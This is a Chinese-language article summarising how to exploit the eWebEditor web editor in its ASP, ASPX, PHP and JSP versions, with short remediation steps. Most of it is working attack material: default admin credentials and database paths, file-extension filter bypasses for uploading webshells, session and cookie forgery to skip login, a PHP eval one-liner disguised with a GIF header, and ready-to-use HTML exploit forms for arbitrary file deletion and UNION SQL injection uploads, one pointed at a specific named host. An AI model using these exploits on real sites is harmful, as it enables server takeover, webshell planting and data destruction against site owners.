ewebeditor編輯器ASP/ASPX/PHP/JSP版本漏洞利用總結及解決方法


這個編輯器按腳本分主要有4個版本,ASP/ASPX/PHP/JSP 每個版本都有可以利用的漏洞。
判斷網站是否使用了eWebEditor
查看程序源代碼,看看源碼中是否存在類似”ewebeditor.asp?id=”語句,只要有此語句的存在,就能判斷網站確實使用了WEB編輯器。另外一種方法就是站上新聞或者其他板塊上找圖片、附件等的鏈接,是否為admin/eWebEditor/UploadFile/xxxx.jpg之類格式。
安全漏洞
管理員未對編輯器的數據庫路徑和名稱進行修改,導致可以利用編輯器默認路徑直接對網站數據庫進行下載。
管理員未對編輯器的用戶登錄路徑進行修改,導致黑客可以利用網站數據庫所獲得的用戶名和密碼直接登陸編輯器管理后台。
該WEB編輯器上傳程序存在的安全漏洞。
============================================================================================================
一、ASP版
1.關鍵文件的名稱和路徑
這個版本其實個人感覺是影響最大,使用最多的一個了吧,早期很多asp站都用這個,當然現在也是大量的存在的……
幾個關鍵文件的名稱和路徑:
Admin_Login.asp 登錄頁面
Admin_Default.asp 管理首頁
Admin_Style.asp
Admin_UploadFile.asp
Upload.asp
Admin_ModiPwd.asp
eWebEditor.asp
db/ewebeditor.mdb 默認數據庫路徑
2.默認用戶名密碼
一般用這個的默認后台的URL都是默認的:
www.80lr.com/admin/ewebeditor/login_admin.asp
類似:
www.80lr.com/ewebeditor/login_admin.asp
www.80lr.com/admin/eweb/login_admin.asp
www.80lr.com/admin/editor/login_admin.asp
而且賬戶和密碼也基本都是默認的:admin admin(admin888)
3.下載數據庫
還有如果默認的賬戶和密碼修改了,我們可以下載他的數據庫,然后本地破解MD5了.
默認數據庫:…/db/ewebeditor.mdb 或者 …/db/ewebeditor.asp,一般下載數據庫后打開察看就可以了。
4.文件上傳
登錄后台后,點擊”樣式管理”,隨便選擇列表中底下的某一個樣式。注意:eWebEditor自帶的樣式是不允許修的,當然你也可以拷貝一個新的樣式來設置。在上傳的”其它類型”中增加”asa”類型:接下來把免殺的ASP木馬的后綴名改成asa,返回管理首頁,點擊”預覽”,然后選擇”插入其它文件”的按鈕進行ASP木馬的上傳:上傳的ASP木馬就在”UploadFile”文件夾里。
如果加了asa類型后發現還是無法上傳。應該是站長懂點代碼,自己修改了Upload.asp文件,但是沒有關系,按照常人的思維習慣,往往會直接在sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看見過一個站長是這樣修改的:sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)猛一看什么都過濾了,但是我們只要在上傳類型中增加”aaspsp”,就可以直接上傳asp文件了。
如果上述兩種方法都失敗了,則利用eWebEditor能夠設定自動保存遠程文件的類型,我們可以加入asp類型。但是如何才能讓遠程訪問的asp文件能夠以源碼形式保存呢?方法是很多的,最簡單的方法是將IIS中的”應用文件映射”中的”asp”刪除。(此方法未經測試,個人感覺利用率不高)
有的站數據庫設置了只讀屬性,這樣的站你是無法新加樣式的,這樣的站你可以看他數據庫里的樣式設置情況,一般很多時候都是讓人給拿過的,而且明顯的asa在那里。這樣的話就可以直接構造一個調用這個樣式的連接來上傳shell。比如發現數據庫里有樣式 123 他設置的是可以上傳asa的話那么就可以這樣調用:http://www.xxx.com/eWeb/eWebEditor.asp?id=contentCN&style=123這樣就可以直接上傳了,然后在點”編輯”就會找到shell的路徑了。其實這個漏洞主要是upload.asp的過濾不嚴造成的,新版的應該都修復了,具體受影響的版本我也沒統計過。
5.遍歷路徑
ewebeditor遍歷路徑漏洞(當數據庫只讀的時候)ewebeditor/admin_uploadfile.asp?id=14在id=14后面添加&dir=再加 &dir=/或&dir=http://www.80lr.com// 看到整個網站文件了, 不過此項在測試的時候發現,只有登錄成功才能進行這項操作。
6.Cookie漏洞
漏洞文件:Admin_Private.asp.
漏洞語句:
<% If Session(”eWebEditor_User”) = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If
只判斷了session,沒有判斷cookies和路徑的驗證問題。
漏洞利用:
新建一個mrchen.asp內容如下:
<%Session(“eWebEditor_User”) = “11111111″%>
訪問mrchen.asp,再訪問后台任何文件,for example:Admin_Default.asp這個拿shell的方法就簡單了。
============================================================================================================
二、ASPX版
Javascript文件上傳
受影響文件:eWebEditorNet/upload.aspx
原理:代碼
“uploadfile” style=”file” size=”uploadfile” runat=
“lbtnUpload” runat=
“JavaScript”>
只是簡單的對ID進行驗證,只要構造javascript:lbtnUpload.click();滿足條件達到上傳木馬的效果。
利用方法:添好本地的cer的Shell文件。在瀏攬器輸入javascript:lbtnUpload.click();就能得到shell,繞過了限制,成功上傳ASPX文件, 。成功以后查看源代碼代碼
a “lbtnUpload” “javascript:__doPostBack(‘lbtnUpload’,”)”script ‘javascript’
文件默認的上傳后保存的地址是eWebEditorNet/UploadFile/,看看是否上傳成功。
============================================================================================================
三、PHP版
關於eWebEditor 漏洞php版本的和asp的一樣。有目錄瀏覽。和編輯擴展名。重點在於雖然支持了php格式但上傳還是上傳不了。不過利用織夢的gif89a漏洞倒可以實現php一句話上傳,然后再上傳webshell。
備注:織夢的gif89a漏洞,准確來說應該是DEDECMS中所用的php版的FCKeditor存在上傳漏洞,gif89a文件頭欺騙。DEDECMS中在上傳拖上沒有對picSubmit進行任何處理。但是卻不能直接上傳php馬。因為會識別。使用修改過的php小馬。
gif89a
phpinfo();
?>
RFI
gif89a
eval($_POST[/c]);
?>
利用gif89a進行了欺騙。現在上傳就可以成功了。然后有php一句話客戶端連接。
php版本后台是調用../ewebeditor/admin/config.php,大家去看下源碼就知道,在這里我說說利用方法:
1 首先當然要找到登陸后台,默認是../eWebEditor/admin/login.php,進入后台后隨便輸入一個用戶和密碼,當然會提示出錯了,必須是出錯的時候,然后這時候你清空瀏覽器的url,然后輸入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回車
2 然后輸入正常情況才能訪問的文件../ewebeditor/admin/default.php就可以進后台了
3 后面的利用和asp一樣,新增樣式修改上傳,就ok了
測試一下asp 2.8版本的,竟然一樣可以用,爽,看來asp版的應該可以通殺(只測試2.8的,貌似2.8是最高版本的)
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在瀏攬器輸入javascript:lbtnUpload.click();就能得到shell
jsp的上傳漏洞以及那個出了N久了,由於沒有上傳按鈕,選擇好要上傳的shell,直接回車就可以了
============================================================================================================
四、JSP版
上傳漏洞
影響版本:漏洞存在於ewebeditor jsp版 1.4以下版本,漏洞有兩個版本。
原理:第一個是使用savefile.jsp來進行文件上傳操作的,從代碼中可以看出,程序並沒做任何上傳過濾,這樣我們就可以直接上傳一個JSPShell了。另一個版本可能是被人修改過,把代碼轉成了servlet,不能看到代碼,但是利用方法卻大同小異。
利用方法:我們先找一個1.4版本以下的ewebeditor JSP上傳頁面,選擇好一個JSPShell。這個ewebeditor是沒有提交按鈕的,所以這里涉及到一個小技巧,就是在上傳的對話框中敲下回車,大約過半分鍾,就可以查看網頁的源文件來尋找我們的Webshell了。
解決方法
1.修改admin密碼;
2.upload.asp中的:
“任何情?下都不允許上傳asp腳本文件sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
改為:
“任何情?下都不允許上傳asp腳本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)
sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)
sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)
sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)
sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)
3. Admin_Private.asp:
If Session(”eWebEditor_User”) = “” Then
Response. Redirect “admin_login.asp”
Response. End
End If
改為:
If Session(”eWebEditor_User”) = “” and IsSelfRefer() Then
Response.Redirect “admin_login.asp”
Response.End
End If
4.將db/ewebeditor.mdb數據庫文件名改為其他包含#等字符的文件名;
5. 將IIS中的”應用文件映射”中的”asp”刪除;
6. 仍有問題刪除admin_login.asp文件。
2009年3月補充:
這個漏洞可以很雞肋,也可以很致命,關鍵看你怎么利用!此漏洞存在於Example\NewsSystem目錄下的delete.asp文件中,這是ewebeditor的測試頁面,無須登陸可以直接進入,看這些代碼:
‘ 把帶”|”的字符串轉為數組
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, “|”)
‘ 刪除新聞相關的文件,從文件夾中
Dim i
For i = 0 To UBound(aSavePathFileName)
‘ 按路徑文件名刪除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面從數據庫取出來的:
sSavePathFileName = oRs(”D_SavePathFileName”)
看看D_SavePathFileName是怎么添加到數據庫里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form(”d_savepathfilename”))

oRs(”D_SavePathFileName”) = sSavePathFileName
居然過濾了,是GetSafeStr函數,再看看這個函數,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), “‘”, “”), Chr(34), “”), “;”, “”)
End Function
無語,這不是過濾字符型注入的函數么?放這里什么用也沒有啊!既然路徑沒有過濾,那就可以直接定義了,構造一個提交頁面,其中 d_savepathfilename自己任意賦值(要刪除多個文件,用|隔開即可)。試試//eWebEditor.asp,提交后刪除該新 聞,於是主目錄下的eWebEditor.asp不見了!下面給出利用的htm:
<HTML><HEAD><TITLE>eWebEditor刪除文件(http://www.80lr.com)</TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href=’list.asp’>新聞列表</a> | <a href=’add.asp’>增加新聞</a>
<b>增加新聞</b>
<form action=”http://www.80lr.com/editor/Example/NewsSystem/addsave.asp“
method=”post” name=”myform”>
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要刪的文件(相對路徑就可以了):</td>
<td><input type=”text” name=”d_savepathfilename” value=”" size=”90″></td>
</tr>
<tr><td>新聞標題(隨便填):</td>
<td><input type=”text” name=”d_title” value=”" size=”90″></td>
</tr>
<tr><td>標題圖片:</td>
<td><select name=”d_picture” size=1>《option value=”>無</option></select>
當編輯區有插入圖片時,將自動填充此下拉框</td>
</tr>
<tr><td>新聞內容(隨便填):</td>
<td><textarea name=”d_content”></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=” 提 交 “>
<input type=reset name=btnReset value=” 重 填 “>
</form>
</BODY></HTML>
刪除文件漏洞一般是配合其他漏洞使用的,比如目錄遍歷!
============================================================================================================
ewebeditor漏洞解?方法2009-06-13 09:45
1,修改admin的密碼.
2,upload.asp中的
‘ 任何情況下都不允許上傳asp腳本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
改為:
‘ 任何情況下都不允許上傳asp腳本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)
sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)
sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)
sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)
sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)
3,Admin_Private.asp
If Session(“eWebEditor_User”) = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If
改為:
If Session(“eWebEditor_User”) = “” and IsSelfRefer() Then
Response.Redirect “admin_login.asp”
Response.End
End If
4,將db/ewebeditor.mdb改為13sd265341558110#$__.asp
同時也要將startup.aspoConn.Open “Provider=Microsoft.Jet.OLEDB.4.0; Data Source=” & Server.MapPath(“db/13sd265341558110#$__.asp”)
5,將IIS中的”應用文件映射”中的”asp”刪除.
6,還有問題刪除admin_login.asp文件.
=========================================================
Ewebeditor 2.1.6 ASP 以下版本上傳漏洞
UNION運用-直接叼SHELL
以前曾進過一個網站,把上傳部份的asp代碼下載回來研究,當時感覺有漏洞但沒仔細研究,還以為那是他們自已寫的程序。
前幾天看到ewebeditor有漏洞的文章才想起那個網站原來用的也是ewebeditor。今天仔細看了看,發現問題了(2.1.6版本以后不存在),可以指定上傳后的文件擴展名為除asp外的任何,如果該網站沒有刪除cer、asa等文件與asp.dll的映射,就可以上傳木馬了。
問題出在upload.asp文件中,相關代碼如下(以2.1.6版為例)
Sub InitUpload()
sType = UCase(Trim(Request.QueryString(“type”)))
*sStyleName = Trim(Request.QueryString(“style”))
sSql = “select * from ewebeditor_style where s_name=’” & sStyleName & “‘”
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
sUploadDir = oRs(“S_UploadDir”)
sUploadDir = Replace(sUploadDir, “\”, “/”)
If Right(sUploadDir, 1) <> “/” Then
sUploadDir = sUploadDir & “/”
End If
Select Case sType
Case “FILE”
sAllowExt = oRs(“S_FileExt”)
nAllowSize = oRs(“S_FileSize”)
Case “MEDIA”
sAllowExt = oRs(“S_MediaExt”)
nAllowSize = oRs(“S_MediaSize”)
Case “FLASH”
sAllowExt = oRs(“S_FlashExt”)
nAllowSize = oRs(“S_FlashSize”)
Case Else
sAllowExt = oRs(“S_ImageExt”)
nAllowSize = oRs(“S_ImageSize”)
End Select
Else
OutScript(“parent.UploadError(‘無效的樣式ID號,請通過頁面上的鏈接進行操作!’)”)
End If
oRs.Close
‘ 任何情況下都不允許上傳asp腳本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
End Sub
上面的sStyleName變量直接從style中讀取,並沒有過濾,所以可以包含任意字符,往下看,用select在ewebeditor_style表中查找s_name為sStyleName的記錄,找不到就提示出錯。
表面上看有sql注入漏洞,有可能猜出數據庫的表、字段,但那些根本沒用,管理員信息不在這個數據庫中。
如果在sStyleName變量中用union來構造記錄,情況就不同了,我們可以在sAllowExt中加入”|cer”、”|asa”,
構造如下
upload.asp?action=save&type=IMAGE&style=hzh’ union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]+’|cer’,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord
,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name=’standard’ and ‘a’=’a
編碼后就是
upload.asp?action=save&type=IMAGE&style=hzh’%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b’|cer’,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord
,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder%20from%20ewebeditor_style%20where%20s_name=’standard’%20and%20′a’=’a
上面的”hzh”可以改為任何字符,但由於只取第一條記錄的數據,所以必須使union前的select結果為空,[S_ImageExt]+’|cer’表示在選擇的S_ImageExt字段中加入”|cer”串。
用nc或其它工具發送就可以上傳木馬了。
最后提一下union,UNION 操作一般被用來把來自表單、SELECT語句或查詢的數據結合,並省略掉任何重復的行。所有的數據源必須有相同數目的域,不過這些域不一定要是相同的數據類型,即UNION操作不會顯示任何在兩個表單中重復出現的記錄。利用UNION 的查詢語句一定要與UNION前的查詢語句字段列相等。
================================================================
<H3>ewebeditor asp版 2.1.6 上傳漏洞利用程序?-</H3><br><br>
<form action=”http://jpkc.hutc.zj.cn/mz/back/ewebeditor/upload.asp?action=save&amp;type=IMAGE&amp;style=standard’union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord
,S_InitMode,S_BaseUrl from ewebeditor_style where s_name=’standard’and’a’=’a”  method=post name=myform enctype=”multipart/form-data”>
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
只針對於ASP版本
修改上傳地址保存為HTM文件,打開可以直接上傳CER文件,測試成功.上傳后地址看源文件.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM